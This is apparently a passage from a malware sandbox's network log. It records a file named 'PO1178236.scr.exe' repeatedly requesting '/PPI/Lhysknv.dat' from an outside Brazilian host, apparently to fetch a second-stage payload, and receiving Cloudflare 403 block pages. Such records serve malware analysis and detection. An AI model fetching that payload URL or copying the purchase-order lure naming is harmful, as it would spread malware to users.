6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:42 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:42 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:42 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 63 30 34 63 31 35 34 31 65 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7c04c1541e0</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:42 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 63 30 34 63 31 35 34 31 65 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7c04c1541e0',t:'MTczNjQwNzc4Mi4wMDAwMDA='}
2025-01-09 07:29:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50052	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:42 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:43 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mmg4x73k00ca8vOUAzwUg%2BDtZ0c1nHKRSv%2FVFBaw5aMlrn0y8BmSIfoyTljC%2FC7pEwYVR9wVDLX%2FmN0wmBMRtRZ43KPTT%2BHnYyxMXs1zDVsF7pY65ZUDdulS81CJTRaWk%2FKv4b93sEOJvnZj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7c41b3e4337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1826141&cwnd=222&unsent_bytes=0&cid=88084ed0580e8013&ts=140&x=0"
2025-01-09 07:29:43 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 63 34 31 62 33 65 34 33 33 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7c41b3e4337</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:43 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 63 34 31 62 33 65 34 33 33 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7c41b3e4337',t:'MTczNjQwNzc4My4wMDAwMDA='}
2025-01-09 07:29:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50053	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:43 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:43 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:58 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qxu5EOpGLPGspOcm17EmI0EEkH4PFxt7wPPwgkBlEEAu6Nn7gttVpf83NbrxfUuFGe7QTV81zMA87Sw4U24wF7mGEXOyqVLp2WZU8GMqAOVJfMpZzfL41ZCHF%2FLZWbXPtEMhgldBSScL6z7a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7c7ecf5de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1599&rtt_var=624&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1826141&cwnd=242&unsent_bytes=0&cid=343fa997ae16dbe0&ts=157&x=0"
2025-01-09 07:29:43 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:29:43 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 63 37 65 63 66 35 64 65 39 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7c7ecf5de95</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:29:43 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 63 37 65 63 66 35 64 65 39 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 34 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7c7ecf5de95',t:'MTczNjQwNzc4My4wMDAwMDA='};var a=doc
2025-01-09 07:29:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50059	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:44 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:44 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=98WWVM6Lj7%2BAuAA%2B2UdeVM%2B6fQEoYmqLtkPgbW9egHC8HP4i7qRJZ8AeHVc%2B8qrGVkvNeossCXoKajP6Ca%2FCKwHJOxGV4kxzpLnDCd1T1%2BPFYGdeRHxNFnCLupgiVAtiaBQAylWmScHOesyz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7cbccbdc343-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1502&rtt_var=591&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1806930&cwnd=208&unsent_bytes=0&cid=3861025026439af5&ts=128&x=0"
2025-01-09 07:29:44 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:44 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
